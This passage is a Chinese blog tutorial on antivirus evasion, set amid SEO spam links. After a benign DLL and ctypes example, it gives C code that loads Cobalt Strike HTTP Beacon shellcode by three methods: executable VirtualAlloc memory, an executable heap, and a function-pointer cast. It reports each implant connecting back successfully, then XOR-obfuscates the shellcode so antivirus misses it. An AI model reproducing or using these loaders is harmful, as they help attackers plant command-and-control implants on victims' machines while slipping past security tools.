当前位置: 首页 > wzjs >正文

网站建设工作函台州seo服务

网站建设工作函,台州seo服务,找到做网站的公司,用html编写淘宝网站怎么做免杀进阶技术 1、DLL的定义与使用 DLL:Dynamic Link library,动态链接库,是一个无法自己运行,需要额外的命令或程序来对其接口进行调用(类方法、函数)。 (1)在DevCpp中创建一个DLL项目 (2)在dllmain.c中定义源代码函数接口 #i…

免杀进阶技术

1、DLL的定义与使用

DLL:Dynamic Link library,动态链接库,是一个无法自己运行,需要额外的命令或程序来对其接口进行调用(类方法、函数)。

(1)在DevCpp中创建一个DLL项目

 (2)在dllmain.c中定义源代码函数接口

#include "dll.h"
#include windows. hDLLIMPORT void Helloworld()
{MessageBox (0, "Hello World from DLL! \n", "Hi" ,MB_ICONINFORMATION):
}DLLIMPORT int Calculate (int a, int b) {int result = a + b;return result;
}

(3)在dll.h的头文件中声明函数接口

DLLIMPORT void Helloworld();
DLLIMPORT int Calculate(int a, int b);

(4)在Python中调用DLL函数接口

没有编译之前都是源代码

当我们点击编译

 发现编译无错误,编译成功

编译一旦成功,这里就会生成一个DLL文件

由于DLL只是供别人调用的一个函数库,所以自己本身是不能运行的

如果我们直接点击运行,会告诉我们没有提供主程序,那么是没有办法进行运行的,它只是写好给别的程序调

然后将这个dll文件复制到我们的python目录下来,然后我们就可以在python当中进行调用了

然后我们创建一个dlltest.py,开始写入代码

import ctypes#加载DLL文件
func = ctypes.CDLL("./MyDLLDemo.dll")#调用函数
func.HelloWorld()

运行这段代码,运行结果如下:

然后我们再调用一个函数

result = func.Calculate(100,200)
print(result)

运行结果如下:

2、C语言加载ShellCode

1、在MSF或CS中生成C语言的ShellCode

unigned 叫无符号型(没有负数位),有符号位:-128-127,无符号:0-255

char buf[] 表示定义了一个字符数组(也可以看成是字符串,C语言没有内置字符串类型),在c语言中也可以用字符指针进行定义

我们使用32位的,不适用64位的

然后选择HTTP_Beacon

保存到Muma18的目录底下去

然后打开payload.c,这就是一个C语言版本的CS的payload

2、在C语言中对其进行加载实现CS上线

我们新建一个C语言的可执行项目,名称叫做RunCS

将我们生成的payload输入进去

编译没有报错

 然后运行,没有报错

 然后发现上线成功

 运行代码的时候,文件夹里会出现可执行程序RunCS.exe

这种程序不会免杀的

 3、C语言加载调用shellcode的几种方式

//第一种加载:申请内存加载
void *p = Virtualalloc (NULL, sizeof (enc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcdy(p,enc,sizeof(enc));
CODE code = (CODE) p;
code();
}//第二种加载:堆加载
HANDLE myHeap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(enc)) ;
memcpy (exec, enc, sizeof(enc));
((void (*) ()) exec) () ;//第三种加载:函数指针加载
((void (*) (void)) & enc) () ;

使用内存加载的方式

然后我们编译运行,发现没有问题,说明编译成功

上线成功

使用堆加载的方式

编译运行成功

成功上线

 将这几种代码整合起来,如下:

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>typedef void (__stdcall *CODE) () ;/* run this program using the console pauser or add your own getch, system("pause") or input loop */unsigned char buf [] = "'xfc\xe8\×89\×00\x00\×00\×60\×89\xe5\×31\xd2\×64\x8b\×52";void start () {申请内存加载/*void *p = Virtualalloc(NULL, sizeof (buf), MEM_COMMIT | MEM_RESERVE,                         PAGE_EXECUTE_READWRITE);memcpy (p, buf, sizeof(buf));CODE code = (CODE) p;code();*/堆加载HANDLE myHeap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 0, 0);void* exec = HeapAlloc (myHeap, HEAP_ZERO_MEMORY, sizeof (buf));memcpy (exec, buf, sizeof(buf));((void (*) ()) exec) () ;函数指针加载/* ((void(*) (void)) & buf) (); */int main(int arge, char targv[]) {start();return 0;
}

以上加载器不免杀

3、尝试对ShellCode进行代码混淆

对我们的shellcode进行异或处理,然后打印到控制台上去

编译成功,说明没有错误

 然后运行,成功打印,正常输出异或加密处理过的shellcode,相当于做了一个代码混淆

得到了加密的之后,我们就来解密

将加密的ShellCode放到一个字符数组里面去,然后调用下面的代码,使用函数指针加载的方式去加载调用解密之后的ShellCode

编译运行成功

 上线成功

http://www.dtcms.com/wzjs/153870.html

相关文章:

  • 青岛网站公司站长工具seo诊断
  • 网站引导页psd宁波seo推广
  • 辽宁网站优化童程童美少儿编程怎样收费
  • 怎么做企业的网站淘宝流量平台
  • 建设商城网站费用网络营销推广外包服务
  • 自己在家做网站seo任务
  • 做图书馆网站百度广告官网
  • apple网站模板友情链接检查
  • 汉阳网站建设哪家便宜今日国内新闻最新消息10条
  • 淘宝了做网站卖什么好seo推广优化多少钱
  • 能源企业 网站建设收录优美的图片
  • 电脑做h5比较好的网站西安百度seo代理
  • 自己有网站怎么推广产品关键词
  • 网站设计是后台做的还是前台做的哪些网站可以免费发广告
  • 装饰设计网站模板合肥网站推广
  • 哪个小说网站版权做的好处网络公司排行榜
  • WordPress访问mysql慢seo策略分析
  • 北京正规网站建设比较一个具体网站的seo优化方案
  • 宝塔设置加速wordpress站点什么是网络营销推广
  • 上海 网站建设公司seo网站优化报价
  • 做网站在厦门排前5名热搜榜百度
  • 包装盒网站模板下载排名优化seo
  • 在线做数据图的网站有哪些水果店推广营销方案
  • 新手做哪类网站网站建设制作教程
  • 贵州建设工程招投标协会网站电商网站seo
  • 呼和浩特住房和城乡建设部网站百度视频seo
  • 高端做网站公司网络营销与电子商务的区别
  • 山东手机网站建设报价百度一下百度下载
  • ps网站导航怎么做脚上起小水泡还很痒是怎么回事
  • 网站开发代理报价表百度知道合伙人答题兼职入口